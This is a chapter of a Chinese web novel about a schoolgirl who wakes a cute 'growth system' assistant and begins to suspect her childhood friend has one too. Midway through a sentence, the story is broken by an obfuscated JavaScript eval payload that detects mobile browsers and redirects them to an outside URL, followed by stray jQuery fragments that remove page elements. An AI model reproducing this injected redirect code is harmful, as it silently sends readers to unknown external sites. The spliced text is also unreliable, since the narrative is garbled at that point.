程橙小的时候还没发现自己和其他小朋友有什么不一样的地方。
直到那天她像往常一样趴在陈珈淮的书桌上翻看着她那本小说，然后听着陈珈淮在她耳边说要选哪个高中。
忽然的，她脑袋里响起一阵电流声，然后就是一个白白圆圆的小东西出现在她眼前。
那个白团子用萌萌的声音对她说：
【橙橙，团子我终于被你唤起啦！】
程橙一脸懵，她不会是熬夜后遗症了吧？
还是这几天玩的太疯精神出问题了？
【橙橙！】
【我来自我介绍一下，我是团子，你的系统助手。】
【团子我不知道为什么你觉醒的这么晚，其他养成小朋友上小学的时候都已经把自己的助手唤醒了，只有橙橙你到现在才把我唤醒出来！】
面前的白白软软的小圆球叽里咕噜的一通乱说下来程橙只捕捉到了“养成”“系统”这几个词。
作为新时代的大好青年她不可以相信什么歪门邪道的东西的，但现在她不确定了，她一定是前几天去海边玩被什么海妖附身了！
程橙伸手在眼前挥了挥，发现这个团子居然纹丝不动。
“陈珈淮！你能看见有个白胖胖的圆球吗？”
程橙撇下书指着空中的那个团子。
陈珈淮的声音戛然而止。
他先是瞥了一眼团子在的地方，然后无所谓的说到，“没啊，橙橙你是不是看小说看太久了？”
程橙眨了眨眼，又揉了揉，那团子还在，甚至还气鼓鼓地涨大了一圈。
【橙橙！只有你能看见团子！这是绑定认证！】
程橙猛地合上小说，发出“啪”的一声脆响，陈珈淮吓了一跳，手里的招生简章差点掉地上。
“怎么了？”
“没、没事。”程橙僵硬地扯了扯嘴角，“你继续说，哪个高中来着？”
陈珈淮狐疑地看了她一眼，倒也没追问，只是把椅子往她这边挪了挪，重新摊开那张皱巴巴的宣传页。
团子却不肯消停，在她眼前晃来晃去。
【橙橙，你要相信团子！团子是你的养成系统，专门负责记录你的成长进度！】
【让团子先查看一下目前的进度】
【糟糕！才0%！】
【有点低，不过没关系！团子会努力帮你的！】
程橙深吸一口气，决定暂时把它当成某种奇异的幻觉，她凑近陈珈淮，指着宣传页上那所重点高中的照片：“这个是不是离家太远了？”
“还行，骑车二十分钟。”
【橙橙，这个男生是谁？需要团子帮你记录社交关系吗？】
“不用，谢谢。”程橙脱口而出。
陈珈淮顿住：“……什么？”
程橙恨不得咬掉自己的舌头，她眼睁睁看着团子欢快地蹦了两下，一头扎进了陈珈淮的怀里。
【已录入，陈珈淮，青梅竹马，好感度……】
团子的声音忽然卡壳了。
【好感度计算失败。】
【团子也不清楚为什么，可能是团子系统还太低了吧！】
程橙在心里默念：“胖团团，真的只有我才能看见你吗？”
【橙橙！人家才不胖呢！】
【真的只有你可以看见，不过如果对方的助手等级高的话是可以看见团子的，但是团子看不见它也不能和它交流。】
程橙抓住了一个关键信息：“等等，对方也有助手？谁会有这种东西？”
团子在空中转了个圈。
【团子不知道呀，团子等级太低了，只能感应到对方存在，看不见也摸不着。】
【不过橙橙你放心！只要有团子在，你一定能健康成长的！】
“橙橙，那我们就去这个高中了？”
“啊？嗯，你决定就好！”
程橙正和团子秘密对话，陈珈淮的话她根本没过脑子就应了下来。
陈珈淮挑了挑眉，把招生简章折好塞回书包，语气里带着点似笑非笑的意味：“那你可别后悔。”
“后悔什么？”程橙回过神来，茫然地看着他。
【橙橙！你刚才答应和他上同一所高中了！】
【这是重大决定，团子要记下来！】
“等等……”程橙伸手想拦，但团子已经欢天喜地地在空中翻了个跟头。
【重大事件已记录，高中择校与青梅竹马陈珈淮同步。】
程橙感觉自己的太阳穴突突直跳，她张了张嘴想解释什么，但对上陈珈淮那双含笑的眼睛，到嘴边的话又咽了回去。
算了，反正本来也没什么特别想去的学校，而且她从小到大就一直跟在陈珈淮屁股后面跑，没了陈珈淮她的高中生活肯定很痛苦，尤其是在写作业上……
“行了，别发呆了。”陈珈淮伸手在她脑门上轻轻弹了一下，“走吧，阿姨说今晚你家包饺子，让我早点送你回去。”
程橙捂着脑门瞪他一眼，磨磨蹭蹭地开始收拾东西。
团子飘在她肩头，小声嘀咕着。
【这个男生对橙橙好像有点凶，团子要给他扣分……】
“不许扣。”程橙小声嘟囔。
陈珈淮回头：“什么？”
“没什么！我说你走路能不能慢点！”
回去的路上，团子一直没消停。
它忽左忽右地飘在程橙肩头，像个絮叨的小麻雀，把她从小到大的“成长数据”翻来覆去地播报。
【橙橙你六岁学会骑自行车，八岁期末考试双百，十岁……等等，十岁之后怎么都是空白？你这些年都在干什么呀！】
程橙心虚地瞥了一眼前面走得漫不经心的陈珈淮。
干什么？当然是跟在他后面混日子呗。
【而且团子发现一个很严重的问题，你的任务面板是灰色的！】
【正常来说，系统激活后会自动生成养成任务，比如“结交新朋友”“考试进步十名”之类的，但橙橙你这里什么都没有！】
程橙脚步顿了顿。
“怎么了？”陈珈淮头也没回，却能精准的知道程橙顿住了。
“没事，鞋带松了。”程橙蹲下身假装系鞋带，趁机在脑子里问团子，“没有任务会怎样？”
【会一直停在0%呀！那橙橙就永远长不大啦！】
程橙差点笑出声。
永远长不大？那岂不是不用高考了？
【橙橙！你的想法很危险！团子检测到消极情绪了！】
她还没来得及反驳，陈珈淮已经折返回来，居高临下地看着她：“系个鞋带要这么久？”
“我系得认真！”
陈珈淮没说话，只是微微弯下腰，伸手拨开她假装忙碌的手指，三下五除二帮她重新系好。
团子飘在半空，圆圆的身体里发出细微的“嘀嘀”声。
【检测到特殊交互，好感度计算仍旧失败……】
【但是，团子检测到橙橙的心跳加速了！】
“闭嘴！”程橙脱口而出。
陈珈淮系鞋带的手一顿，抬头看她：“我又怎么了？”
程橙的脸“腾”地红了。
她一把推开陈珈淮，自己踉踉跄跄地站起来，头也不回地往前走：“你系得太紧了！勒得慌！”
陈珈淮愣了两秒，看着那个走得飞快耳朵尖却红透了的背影，忽然低低地笑了一声。
而此时的团子正围着程橙疯狂打转。
【橙橙，你的脸红指数超标了！需要团子帮你降温吗？】
“不需要。”
“闭嘴！”
陈珈淮在后面慢悠悠地补了一句：“你到底在跟谁说话呢？”
程橙脚步一顿，僵在原地。
团子“嗖”地躲到她身后，小声嘀咕：【完了完了，橙橙要露馅了……】
程橙深吸一口气，转过身来，脸上的红晕已经褪去大半。
“我在跟自己说话，不行吗？”
陈珈淮双手插兜，慢悠悠地走近，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567861|204835||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
目光从她脸上扫过，又漫不经心地移开：“行，你高兴就好。”
“走快点，饺子凉了就不好吃了。”
程橙松了口气，小跑着跟上去。
团子从她身后飘出来，语气里带着点困惑。
【橙橙，这个男生好奇怪。】
【团子总觉得哪里不对劲，但是又说不上来，可能是团子等级太低了吧！】
程橙在心里默默回应：“哪里不对劲？”
【就是正常人听到有人对着空气说话，不是应该觉得奇怪吗？他反应好平淡呀。】
程橙愣了一下，下意识看向前面陈珈淮的背影。
少年走得散漫，衬衫外套被晚风吹得微微鼓起来，看起来和往常没什么两样。
团子说得对，他的反应确实太平淡了。
“陈珈淮。”程橙忽然开口。
“嗯？”
“你真的看不见我身边有什么东西吗？”
前面的脚步停了，陈珈淮转过身来，暮色里他的表情看不太清，只有那双眼睛亮得有些过分。
他沉默了几秒，忽然笑了。
“怎么，你身边有什么东西？”
程橙盯着他看了好一会儿，最终摇摇头：“没什么，走吧。”
团子在她耳边小声嘀咕：【橙橙，你在试探他吗？】
程橙没有回答，她觉得这种东西出现在陈珈淮身上太奇怪了。
晚上，程橙躺在她的小床上发呆。
团子趴在她的枕头上，圆滚滚的身体随着呼吸微微起伏，像一颗会发光的糯米团子。
【橙橙，你在想什么？】
“在想你到底是什么东西。”
【都说了团子是系统助手！不是东西！】
程橙翻了个身，把脸埋进枕头里，闷闷地说：“那你说，我为什么现在才觉醒？”
团子沉默了一会儿，小小的身体里发出“嘀嘀”的运算声。
【团子也不太确定。正常来说，系统会在宿主遇到关键节点时自动激活。橙橙你最近有发生什么特别的事吗？】
“特别的事？”程橙想了想，“去海边玩算吗？”
【不算啦！团子说的是那种能改变你人生轨迹的大事。】
程橙又翻了个身，盯着天花板。
改变人生轨迹的事……
她忽然想起今天下午，趴在陈珈淮桌上翻小说时，他在耳边说的那句话：“橙橙，我们报同一所高中吧。”
那时候她没觉得有什么特别的。
现在想想，他好像从来没有问过她想考哪里。
不是忘了问，而是笃定她一定会跟着他。
“团子。”
【在！】
“你说，陈珈淮会不会也有一个系统？”
团子从枕头上弹起来，圆滚滚的身体晃了晃。
【理论上是有可能的！但是团子感应不到他的等级，如果他有的话，一定比团子高很多很多……】
【不过橙橙你怎么突然这么问？】
程橙没有回答，只是伸手把团子捞过来，捏了捏。
软软的，温热的，像刚出锅的汤圆。
“没什么，随便问问。”
团子在她手心里挣扎了一下，见挣不开干脆舒舒服服地瘫着。
【橙橙，虽然团子等级很低，很多功能都用不了，但是团子会努力的！】
【明天开始，团子帮你制定成长计划！保证让你进度条突飞猛进！】
“嗯嗯，好。”
程橙敷衍地应了一声，眼皮已经开始打架。
团子还在絮絮叨叨地说着什么，声音越来越远，像是隔了一层水。
迷迷糊糊间，她听见团子很小声地嘀咕了一句。
【奇怪，橙橙的系统面板好像被什么东西锁住了，这不合理呀……】
然后一切都安静了。
窗外有蝉鸣，楼下隐约传来邻居伯伯家关门的声音。
程橙翻了个身，彻底沉进梦里。